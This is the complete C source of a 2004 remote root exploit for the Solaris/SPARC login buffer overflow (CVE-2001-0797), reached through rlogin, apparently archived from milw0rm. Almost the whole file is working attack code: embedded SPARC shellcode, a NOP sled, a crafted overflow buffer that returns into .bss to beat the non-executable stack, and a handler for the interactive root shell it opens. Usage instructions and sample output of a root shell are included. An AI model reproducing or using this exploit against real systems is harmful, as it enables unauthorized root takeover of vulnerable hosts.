/* * $Id: raptor_rlogin.c,v 1.1 2004/12/04 14:44:38 raptor Exp $ * * raptor_rlogin.c - (r)login, Solaris/SPARC 2.5.1/2.6/7/8 * Copyright (c) 2004 Marco Ivaldi * * Buffer overflow in login in various System V based operating systems * allows remote attackers to execute arbitrary commands via a large number * of arguments through services such as telnet and rlogin (CVE-2001-0797). * * Dedicated to my beautiful croatian ladies (hello Zrinka!) -- August 2004 * * This remote root exploit uses the (old) System V based /bin/login * vulnerability via the rlogin attack vector, returning into the .bss * section to effectively bypass the non-executable stack protection * (noexec_user_stack=1 in /etc/system). * * Many thanks to scut (0dd) for his elite pam_handle_t * technique (see 7350logout.c), also thanks to inode . * * Usage (must be root): * # gcc raptor_rlogin.c -o raptor_rlogin -Wall * [on solaris: gcc raptor_rlogin.c -o raptor_rlogin -Wall -lxnet] * # ./raptor_rlogin -h 192.168.0.50 * [...] * # id;uname -a;uptime; * uid=0(root) gid=0(root) * SunOS merlino 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-5_10 * 7:45pm up 12 day(s), 18:42, 1 user, load average: 0.00, 0.00, 0.01 * # * * Vulnerable platforms (SPARC): * Solaris 2.5.1 without patch 106160-02 [untested] * Solaris 2.6 without patch 105665-04 [untested] * Solaris 7 without patch 112300-01 [untested] * Solaris 8 without patch 111085-02 [tested] */ #include #include #include #include #include #include #include #include #include #include #include #include #include #define INFO1 "raptor_rlogin.c - (r)login, Solaris/SPARC 2.5.1/2.6/7/8" #define INFO2 "Copyright (c) 2004 Marco Ivaldi " #define BUFSIZE 3000 // max size of the evil buffer #define RETADDR 0x27184 // retaddr, should be reliable #define TIMEOUT 10 // net_read() default timeout #define CMD "id;uname -a;uptime;\n" // executed upon exploitation char sc[] = /* Solaris/SPARC special shellcode (courtesy of inode) */ /* execve() + exit() */ "\x94\x10\x20\x00\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc" "\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8\xe0\x23\xbf\xf4" "\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23\xbf\xec\x92\x23\xa0\x14" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08"; char sparc_nop[] = /* Solaris/SPARC special nop (xor %sp, %sp, %o0) */ "\x90\x1b\x80\x0e"; /* prototypes */ int exploit_addchar(unsigned char *ww, unsigned char wc); void fatalerr(char *func, char *error, int fd); int net_connect(char *host, int port, int timeout); int net_read(int fd, char *buf, int size, int timeout); int net_resolve(char *host); int sc_copy(unsigned char *buf, char *str, long len); void set_val(char *buf, int pos, int val); void shell(int fd); void usage(char *progname); /* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE], *p = buf; char c, *host = NULL, term[] = "vt100/9600"; int fd, i, found, len; int timeout = TIMEOUT, debug = 0; /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* parse command line */ if (argc < 2) usage(argv[0]); while ((c = getopt(argc, argv, "dh:t:")) != EOF) switch(c) { case 'h': host = optarg; break; case 't': timeout = atoi(optarg); break; case 'd': debug = 1; break; default: usage(argv[0]); } if (!host) usage(argv[0]); /* connect to the target host */ fd = net_connect(host, 513, 10); fprintf(stderr, "# connected to remote host: %s\n", host); /* signal handling */ signal(SIGPIPE, SIG_IGN); /* begin the rlogin session */ memset(buf, 0, sizeof(buf)); if (send(fd, buf, 1, 0) < 0) fatalerr("send", strerror(errno), fd); if (net_read(fd, buf, sizeof(buf), timeout) < 0) fatalerr("error", "Timeout reached in rlogin session", fd); /* dummy rlogin authentication */ memcpy(p, "foo", 3); // local login name p += 4; memcpy(p, "bar", 3); // remote login name p += 4; memcpy(p, term, sizeof(term)); // terminal type p += sizeof(term); fprintf(stderr, "# performing dummy rlogin authentication\n"); if (send(fd, buf, p - buf, 0) < 0) fatalerr("send", strerror(errno), fd); /* wait for password prompt */ found = 0; memset(buf, 0, sizeof(buf)); while (net_read(fd, buf, sizeof(buf), timeout)) { if (strstr(buf, "assword: ") != NULL) { found = 1; break; } memset(buf, 0, sizeof(buf)); } if (!found) fatalerr("error", "Timeout waiting for password prompt", fd); /* send a dummy password */ if (send(fd, "pass\n", 5, 0) < 0) fatalerr("send", strerror(errno), fd); /* wait for login prompt */ found = 0; memset(buf, 0, sizeof(buf)); fprintf(stderr, "# waiting for login prompt\n"); while (net_read(fd, buf, sizeof(buf), timeout)) { if (strstr(buf, "ogin: ") != NULL) { found = 1; break; } memset(buf, 0, sizeof(buf)); } if (!found) fatalerr("error", "Timeout waiting for login prompt", fd); fprintf(stderr, "# returning into 0x%08x\n", RETADDR); /* for debugging purposes */ if (debug) { printf("# debug: press enter to continue"); scanf("%c", &c); } /* prepare the evil buffer */ memset(buf, 0, sizeof(buf)); p = buf; /* login name */ memcpy(p, "foo ", 4); p += 4; /* return address (env) */ set_val(p, 0, RETADDR); p += 4; memcpy(p, " ", 1); p++; /* trigger the overflow (env) */ for (i = 0; i < 60; i++, p += 2) memcpy(p, "a ", 2); /* padding */ memcpy(p, " BBB", 4); p += 4; /* nop sled and shellcode */ for (i = 0; i < 398; i++, p += 4) memcpy(p, sparc_nop, 4); p += sc_copy(p, sc, sizeof(sc) - 1); /* padding */ memcpy(p, "BBB ", 4); p += 4; /* pam_handle_t: minimal header */ memcpy(p, "CCCCCCCCCCCCCCCC", 16); p += 16; set_val(p, 0, RETADDR); // must be a valid address p += 4; set_val(p, 0, 0x01); p += 4; /* pam_handle_t: NULL padding */ for (i = 0; i < 52; i++, p += 4) set_val(p, 0, 0x00); /* pam_handle_t: pameptr must be the 65th ptr */ memcpy(p, "\x00\x00\x00 AAAA\n", 9); p += 9; /* send the evil buffer, 256 chars a time */ len = p - buf; p = buf; while (len > 0) { fprintf(stderr, "#"); i = len > 0x100 ? 0x100 : len; send(fd, p, i, 0); len -= i; p += i; if (len) send(fd, "\x04", 1, 0); usleep(500000); } fprintf(stderr, "\n"); /* wait for password prompt */ found = 0; memset(buf, 0, sizeof(buf)); fprintf(stderr, "# evil buffer sent, waiting for password prompt\n"); while (net_read(fd, buf, sizeof(buf), timeout)) { if (strstr(buf, "assword: ") != NULL) { found = 1; break; } memset(buf, 0, sizeof(buf)); } if (!found) fatalerr("error", "Most likely not vulnerable", fd); fprintf(stderr, "# password prompt received, waiting for shell\n"); if (send(fd, "pass\n", 5, 0) < 0) fatalerr("send", strerror(errno), fd); /* wait for shell prompt */ memset(buf, 0, sizeof(buf)); found = 0; while (net_read(fd, buf, sizeof(buf), timeout)) { if (strstr(buf, "# ") != NULL) { found = 1; break; } memset(buf, 0, sizeof(buf)); } if (!found) fatalerr("error", "Most likely not vulnerable", fd); /* connect to the remote shell */ fprintf(stderr, "# shell prompt detected, successful exploitation\n\n"); shell(fd); exit(0); } /* * exploit_addchar(): char translation for pam (ripped from scut) */ int exploit_addchar(unsigned char *ww, unsigned char wc) { unsigned char * wwo = ww; switch (wc) { case ('\\'): *ww++ = '\\'; *ww++ = '\\'; break; case (0xff): case ('\n'): case (' '): case ('\t'): *ww++ = '\\'; *ww++ = ((wc & 0300) >> 6) + '0'; *ww++ = ((wc & 0070) >> 3) + '0'; *ww++ = (wc & 0007) + '0'; break; default: *ww++ = wc; break; } return (ww - wwo); } /* * fatalerr(): error handling routine */ void fatalerr(char *func, char *error, int fd) { fprintf(stderr, "%s: %s\n", func, error); close(fd); exit(1); } /* * net_connect(): simple network connect with timeout */ int net_connect(char *host, int port, int timeout) { int fd, i, flags, sock_len; struct sockaddr_in sin; struct timeval tv; fd_set fds; /* allocate a socket */ if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { perror("socket"); exit(1); } /* bind a privileged port (FIXME) */ sin.sin_family = AF_INET; sin.sin_addr.s_addr = htonl(INADDR_ANY); for (i = 1023; i > 0; i--) { sin.sin_port = htons(i); if (!(bind(fd, (struct sockaddr *)&sin, sizeof(sin)))) break; } if (i == 0) fatalerr("error", "Can't bind a privileged port (must be root)", fd); /* resolve the peer address */ sin.sin_port = htons(port); if (!(sin.sin_addr.s_addr = net_resolve(host))) fatalerr("error", "Can't resolve hostname", fd); /* set non-blocking */ if ((flags = fcntl(fd, F_GETFL, 0)) < 0) fatalerr("fcntl", strerror(errno), fd); if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) fatalerr("fcntl", strerror(errno), fd); /* connect to remote host */ if (!(connect(fd, (struct sockaddr *)&sin, sizeof(sin)))) { if (fcntl(fd, F_SETFL, flags) < 0) fatalerr("fcntl", strerror(errno), fd); return(fd); } if (errno != EINPROGRESS) fatalerr("error", "Can't connect to remote host", fd); /* set timeout */ tv.tv_sec = timeout; tv.tv_usec = 0; /* setup select structs */ FD_ZERO(&fds); FD_SET(fd, &fds); /* select */ if (select(FD_SETSIZE, NULL, &fds, NULL, &tv) <= 0) fatalerr("error", "Can't connect to remote host", fd); /* check if connected */ sock_len = sizeof(sin); if (getpeername(fd, (struct sockaddr *)&sin, &sock_len) < 0) fatalerr("error", "Can't connect to remote host", fd); if (fcntl(fd, F_SETFL, flags) < 0) fatalerr("fcntl", strerror(errno), fd); return(fd); } /* * net_read(): non-blocking read from fd */ int net_read(int fd, char *buf, int size, int timeout) { fd_set fds; struct timeval wait; int n = -1; /* set timeout */ wait.tv_sec = timeout; wait.tv_usec = 0; memset(buf, 0, size); FD_ZERO(&fds); FD_SET(fd, &fds); /* select with timeout */ if (select(FD_SETSIZE, &fds, NULL, NULL, &wait) < 0) { perror("select"); exit(1); } /* read data if any */ if (FD_ISSET(fd, &fds)) n = read(fd, buf, size); return n; } /* * net_resolve(): simple network resolver */ int net_resolve(char *host) { struct in_addr addr; struct hostent *he; memset(&addr, 0, sizeof(addr)); if ((addr.s_addr = inet_addr(host)) == -1) { if (!(he = (struct hostent *)gethostbyname(host))) return(0); memcpy((char *)&addr.s_addr, he->h_addr, he->h_length); } return(addr.s_addr); } /* * sc_copy(): copy the shellcode, using exploit_addchar() */ int sc_copy(unsigned char *buf, char *str, long len) { unsigned char *or = buf; int i; for(i = 0; i < len; i++) buf += exploit_addchar(buf, str[i]); return(buf - or); } /* * set_val(): copy a dword inside a buffer */ void set_val(char *buf, int pos, int val) { buf[pos] = (val & 0xff000000) >> 24; buf[pos + 1] = (val & 0x00ff0000) >> 16; buf[pos + 2] = (val & 0x0000ff00) >> 8; buf[pos + 3] = (val & 0x000000ff); } /* * shell(): semi-interactive shell hack */ void shell(int fd) { fd_set fds; char tmp[128]; int n; /* quote Hvar 2004 */ fprintf(stderr, "\"Da Bog da ti se mamica nahitavala s vragom po dvoristu!\" -- Bozica (Hrvatska)\n\n"); /* execute auto commands */ write(1, "# ", 2); write(fd, CMD, strlen(CMD)); /* semi-interactive shell */ for (;;) { FD_ZERO(&fds); FD_SET(fd, &fds); FD_SET(0, &fds); if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) < 0) { perror("select"); break; } /* read from fd and write to stdout */ if (FD_ISSET(fd, &fds)) { if ((n = read(fd, tmp, sizeof(tmp))) < 0) { fprintf(stderr, "Goodbye...\n"); break; } if (write(1, tmp, n) < 0) { perror("write"); break; } } /* read from stdin and write to fd */ if (FD_ISSET(0, &fds)) { if ((n = read(0, tmp, sizeof(tmp))) < 0) { perror("read"); break; } if (write(fd, tmp, n) < 0) { perror("write"); break; } } } close(fd); exit(1); } void usage(char *progname) { fprintf(stderr, "usage: %s [-h host] [-t timeout] [-d]\n\n", progname); fprintf(stderr, "-h host\t\tdestination ip or fqdn\n"); fprintf(stderr, "-t timeout\tnet_read() timeout (default: %d)\n", TIMEOUT); fprintf(stderr, "-d\t\tturn on debug mode\n\n"); exit(1); } // milw0rm.com [2004-12-24]